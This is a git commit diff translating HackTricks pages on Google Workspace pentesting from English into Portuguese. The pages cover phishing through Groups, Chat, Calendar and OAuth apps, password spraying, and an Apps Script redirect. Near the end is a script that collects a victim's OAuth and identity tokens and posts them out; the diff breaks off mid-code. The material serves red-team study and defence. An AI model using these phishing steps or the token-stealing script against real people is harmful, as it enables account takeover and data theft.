mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,12 +1,12 @@
|
||||
# GWS - Workspace Pentesting
|
||||
# GWS - Pentesting do Workspace
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Entry Points
|
||||
## Pontos de Entrada
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
### Phishing em Plataformas Google e Apps OAuth
|
||||
|
||||
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
|
||||
Verifique como você poderia usar diferentes plataformas Google, como Drive, Chat, Grupos... para enviar ao vítima um link de phishing e como realizar um Phishing de Google OAuth em:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -14,64 +14,60 @@ gws-google-platforms-phishing/
|
||||
|
||||
### Password Spraying
|
||||
|
||||
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
|
||||
Para testar senhas com todos os e-mails que você encontrou (ou que você gerou com base em um padrão de nome de e-mail que você pode ter descoberto), você pode usar uma ferramenta como [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (embora pareça não estar sendo mantida), que usará lambdas da AWS para mudar o endereço IP.
|
||||
|
||||
## Post-Exploitation
|
||||
## Pós-Exploração
|
||||
|
||||
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
|
||||
Se você comprometeu algumas credenciais ou a sessão do usuário, pode realizar várias ações para acessar informações potencialmente sensíveis do usuário e tentar escalar privilégios:
|
||||
|
||||
{{#ref}}
|
||||
gws-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
### GWS <--> GCP Pivoting
|
||||
|
||||
Read more about the different techniques to pivot between GWS and GCP in:
|
||||
Leia mais sobre as diferentes técnicas para pivotar entre GWS e GCP em:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
## GWS <--> GCPW | GCDS | Sincronização de Diretório (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
- **GCPW (Google Credential Provider for Windows)**: Este é o login único que o Google Workspaces fornece para que os usuários possam fazer login em seus PCs com Windows usando **suas credenciais do Workspace**. Além disso, isso **armazenará tokens para acessar o Google Workspace** em alguns lugares no PC.
|
||||
- **GCDS (Google Cloud Directory Sync)**: Esta é uma ferramenta que pode ser usada para **sincronizar seus usuários e grupos do Active Directory com seu Workspace**. A ferramenta requer as **credenciais de um superusuário do Workspace e de um usuário privilegiado do AD**. Portanto, pode ser possível encontrá-la dentro de um servidor de domínio que estaria sincronizando usuários de tempos em tempos.
|
||||
- **Admin Directory Sync**: Permite que você sincronize usuários do AD e EntraID em um processo sem servidor a partir de [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## Persistência
|
||||
|
||||
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
|
||||
Se você comprometeu algumas credenciais ou a sessão do usuário, verifique estas opções para manter a persistência sobre isso:
|
||||
|
||||
{{#ref}}
|
||||
gws-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Account Compromised Recovery
|
||||
## Recuperação de Conta Comprometida
|
||||
|
||||
- Log out of all sessions
|
||||
- Change user password
|
||||
- Generate new 2FA backup codes
|
||||
- Remove App passwords
|
||||
- Remove OAuth apps
|
||||
- Remove 2FA devices
|
||||
- Remove email forwarders
|
||||
- Remove emails filters
|
||||
- Remove recovery email/phones
|
||||
- Removed malicious synced smartphones
|
||||
- Remove bad Android Apps
|
||||
- Remove bad account delegations
|
||||
- Sair de todas as sessões
|
||||
- Alterar a senha do usuário
|
||||
- Gerar novos códigos de backup 2FA
|
||||
- Remover senhas de aplicativos
|
||||
- Remover aplicativos OAuth
|
||||
- Remover dispositivos 2FA
|
||||
- Remover encaminhadores de e-mail
|
||||
- Remover filtros de e-mail
|
||||
- Remover e-mails/telefones de recuperação
|
||||
- Remover smartphones sincronizados maliciosos
|
||||
- Remover aplicativos Android ruins
|
||||
- Remover delegações de conta ruins
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, Como faço para Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -10,160 +10,152 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
Aparentemente, por padrão, em workspace os membros [**podem criar grupos**](https://groups.google.com/all-groups) **e convidar pessoas para eles**. Você pode então modificar o e-mail que será enviado ao usuário **adicionando alguns links.** O **e-mail virá de um endereço google**, então parecerá **legítimo** e as pessoas podem clicar no link.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
Também é possível definir o endereço **FROM** como o **e-mail do grupo Google** para enviar **mais e-mails para os usuários dentro do grupo**, como na imagem a seguir onde o grupo **`google--support@googlegroups.com`** foi criado e um **e-mail foi enviado a todos os membros** do grupo (que foram adicionados sem qualquer consentimento)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
Você pode ser capaz de **iniciar um chat** com uma pessoa apenas tendo seu endereço de e-mail ou enviar um **convite para conversar**. Além disso, é possível **criar um Espaço** que pode ter qualquer nome (por exemplo, "Suporte Google") e **convidar** membros para ele. Se eles aceitarem, podem pensar que estão conversando com o Suporte Google:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **Nos meus testes, no entanto, os membros convidados não receberam nem mesmo um convite.**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Você pode verificar como isso funcionou no passado em: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
No passado, era possível criar um **documento aparentemente legítimo** e em um comentário **mencionar algum e-mail (como @user@gmail.com)**. O Google **enviou um e-mail para esse endereço de e-mail** notificando que eles foram mencionados no documento.\
|
||||
Hoje em dia, isso não funciona, mas se você **der ao e-mail da vítima acesso ao documento**, o Google enviará um e-mail indicando isso. Esta é a mensagem que aparece quando você menciona alguém:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> As vítimas podem ter mecanismos de proteção que não permitem que e-mails indicando que um documento externo foi compartilhado com elas cheguem ao seu e-mail.
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
Você pode **criar um evento de calendário** e adicionar quantos endereços de e-mail da empresa que você está atacando tiver. Agende este evento de calendário em **5 ou 15 min** a partir do horário atual. Faça o evento parecer legítimo e **coloque um comentário e um título indicando que eles precisam ler algo** (com o **link de phishing**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
Este é o alerta que aparecerá no navegador com um título de reunião "Demissão de Pessoas", então você poderia definir um título mais parecido com phishing (e até mesmo mudar o nome associado ao seu e-mail).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
Para parecer menos suspeito:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- Configure para que **os destinatários não possam ver as outras pessoas convidadas**
|
||||
- **NÃO envie e-mails notificando sobre o evento**. Assim, as pessoas só verão seu aviso sobre uma reunião em 5 minutos e que precisam ler aquele link.
|
||||
- Aparentemente, usando a API, você pode definir como **Verdadeiro** que **as pessoas** aceitaram **o evento** e até mesmo criar **comentários em nome delas**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
É possível criar um script em [https://script.google.com/](https://script.google.com/) e **expor como uma aplicação web acessível por todos** que usará o domínio legítimo **`script.google.com`**.\
|
||||
Com algum código como o seguinte, um atacante poderia fazer o script carregar conteúdo arbitrário nesta página sem parar de acessar o domínio:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Por exemplo, acessando [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) você verá:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> Note que um aviso aparecerá enquanto o conteúdo é carregado dentro de um iframe.
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
## Phishing de App Scripts OAuth
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
É possível criar App Scripts anexados a documentos para tentar obter acesso ao token OAuth de uma vítima, para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## OAuth Apps Phishing
|
||||
## Phishing de Apps OAuth
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
Qualquer uma das técnicas anteriores pode ser usada para fazer o usuário acessar uma **aplicação Google OAuth** que **solicitará** ao usuário algum **acesso**. Se o usuário **confiar** na **fonte**, ele pode **confiar** na **aplicação** (mesmo que esteja pedindo permissões de alto privilégio).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Note que o Google apresenta um aviso feio informando que a aplicação é não confiável em vários casos e os administradores do Workspace podem até impedir que as pessoas aceitem aplicações OAuth.
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google** permite criar aplicações que podem **interagir em nome dos usuários** com vários **serviços Google**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
Ao criar uma aplicação para **agir em nome de outros usuários**, o desenvolvedor precisa criar um **app OAuth dentro do GCP** e indicar os escopos (permissões) que o app precisa para acessar os dados dos usuários.\
|
||||
Quando um **usuário** deseja **usar** essa **aplicação**, ele será **solicitado** a **aceitar** que a aplicação terá acesso aos seus dados especificados nos escopos.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
Esta é uma maneira muito atraente de **phish** usuários não técnicos para usar **aplicações que acessam informações sensíveis** porque eles podem não entender as consequências. No entanto, em contas de organizações, existem maneiras de evitar que isso aconteça.
|
||||
|
||||
### Unverified App prompt
|
||||
### Aviso de Aplicativo Não Verificado
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
Como foi mencionado, o Google sempre apresentará um **aviso ao usuário para aceitar** as permissões que estão concedendo à aplicação em seu nome. No entanto, se a aplicação for considerada **perigosa**, o Google mostrará **primeiro** um **aviso** indicando que é **perigosa** e **dificultando** para o usuário conceder as permissões ao app.
|
||||
|
||||
This prompt appears in apps that:
|
||||
Esse aviso aparece em apps que:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- Usam qualquer escopo que pode acessar dados privados (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps com menos de 100 usuários (apps > 100 um processo de revisão também é necessário para parar de mostrar o aviso de não verificado)
|
||||
|
||||
### Interesting Scopes
|
||||
### Escopos Interessantes
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**Aqui**](https://developers.google.com/identity/protocols/oauth2/scopes) você pode encontrar uma lista de todos os escopos OAuth do Google.
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: Visualizar e gerenciar seus dados em serviços do **Google Cloud Platform**. Você pode se passar pelo usuário no GCP.
|
||||
- **admin.directory.user.readonly**: Ver e baixar o diretório GSuite da sua organização. Obter nomes, telefones, URLs de calendário de todos os usuários.
|
||||
|
||||
### Create an OAuth App
|
||||
### Criar um App OAuth
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**Comece criando um ID de Cliente OAuth**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. Vá para [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) e clique em configurar a tela de consentimento.
|
||||
2. Em seguida, será perguntado se o **tipo de usuário** é **interno** (apenas para pessoas na sua organização) ou **externo**. Selecione o que melhor se adequa às suas necessidades
|
||||
- Interno pode ser interessante se você já comprometeu um usuário da organização e está criando este App para phish outro.
|
||||
3. Dê um **nome** ao app, um **e-mail de suporte** (note que você pode definir um e-mail de grupo do Google para tentar se anonimizar um pouco mais), um **logo**, **domínios autorizados** e outro **e-mail** para **atualizações**.
|
||||
4. **Selecione** os **escopos OAuth**.
|
||||
- Esta página é dividida em permissões não sensíveis, permissões sensíveis e permissões restritas. Sempre que você adicionar uma nova permissão, ela será adicionada à sua categoria. Dependendo das permissões solicitadas, diferentes avisos aparecerão para o usuário indicando quão sensíveis essas permissões são.
|
||||
- Tanto **`admin.directory.user.readonly`** quanto **`cloud-platform`** são permissões sensíveis.
|
||||
5. **Adicione os usuários de teste.** Enquanto o status do app for teste, apenas esses usuários poderão acessar o app, então certifique-se de **adicionar o e-mail que você vai phish**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
Agora vamos **obter credenciais para uma aplicação web** usando o **ID de Cliente OAuth criado anteriormente**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. Volte para [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), uma opção diferente aparecerá desta vez.
|
||||
2. Selecione **criar credenciais para uma aplicação web**
|
||||
3. Defina os **origens Javascript** e **URIs de redirecionamento** necessários
|
||||
- Você pode definir em ambos algo como **`http://localhost:8000/callback`** para testes
|
||||
4. Obtenha suas **credenciais da aplicação**
|
||||
|
||||
Finalmente, vamos **executar uma aplicação web que usará as credenciais da aplicação OAuth**. Você pode encontrar um exemplo em [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
Vá para **`http://localhost:8000`**, clique no botão Login with Google, você será **solicitado** com uma mensagem como esta:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
O aplicativo mostrará o **token de acesso e o token de atualização** que podem ser facilmente usados. Para mais informações sobre **como usar esses tokens, verifique**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### Usando `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
É possível fazer algo usando gcloud em vez do console da web, verifique:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,236 +4,218 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scripts é **código que será acionado quando um usuário com permissão de editor acessar o documento ao qual o App Script está vinculado** e após **aceitar o prompt do OAuth**.\
|
||||
Eles também podem ser configurados para serem **executados a cada certo tempo** pelo proprietário do App Script (Persistência).
|
||||
|
||||
### Create App Script
|
||||
### Criar App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
Existem várias maneiras de criar um App Script, embora as mais comuns sejam **a partir de um Documento Google (de qualquer tipo)** e como um **projeto independente**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Criar um projeto vinculado a um contêiner a partir do Google Docs, Sheets ou Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Abra um documento Docs, uma planilha Sheets ou uma apresentação Slides.
|
||||
2. Clique em **Extensões** > **Google Apps Script**.
|
||||
3. No editor de scripts, clique em **Projeto sem título**.
|
||||
4. Dê um nome ao seu projeto e clique em **Renomear**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>Criar um projeto independente</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Para criar um projeto independente a partir do Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Vá para [`script.google.com`](https://script.google.com/).
|
||||
2. Clique em **Novo Projeto**.
|
||||
3. No editor de scripts, clique em **Projeto sem título**.
|
||||
4. Dê um nome ao seu projeto e clique em **Renomear**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Criar um projeto independente a partir do Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. Abra [Google Drive](https://drive.google.com/).
|
||||
2. Clique em **Novo** > **Mais** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Criar um projeto vinculado a um contêiner a partir do Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Abra um formulário no Google Forms.
|
||||
2. Clique em Mais more_vert > **Editor de script**.
|
||||
3. No editor de scripts, clique em **Projeto sem título**.
|
||||
4. Dê um nome ao seu projeto e clique em **Renomear**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>Criar um projeto independente usando a ferramenta de linha de comando clasp</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp` é uma ferramenta de linha de comando que permite criar, puxar/push e implantar projetos do Apps Script a partir de um terminal.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
Veja o [Guia da Interface de Linha de Comando usando `clasp`](https://developers.google.com/apps-script/guides/clasp) para mais detalhes.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## Cenário do App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### Criar Google Sheet com App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
Comece criando um App Script, minha recomendação para este cenário é criar uma Google Sheet e ir para **`Extensões > App Scripts`**, isso abrirá um **novo App Script para você vinculado à planilha**.
|
||||
|
||||
### Leak token
|
||||
### Token de vazamento
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
Para dar acesso ao token do OAuth, você precisa clicar em **`Serviços +` e adicionar escopos como**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: Acessar usuários e grupos do diretório (se o usuário tiver permissões suficientes)
|
||||
- **Gmail**: Para acessar dados do gmail
|
||||
- **Drive**: Para acessar dados do drive
|
||||
- **Google Sheets API**: Para que funcione com o gatilho
|
||||
|
||||
Para alterar você mesmo os **escopos necessários**, você pode ir para as configurações do projeto e habilitar: **`Mostrar arquivo de manifesto "appsscript.json" no editor`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
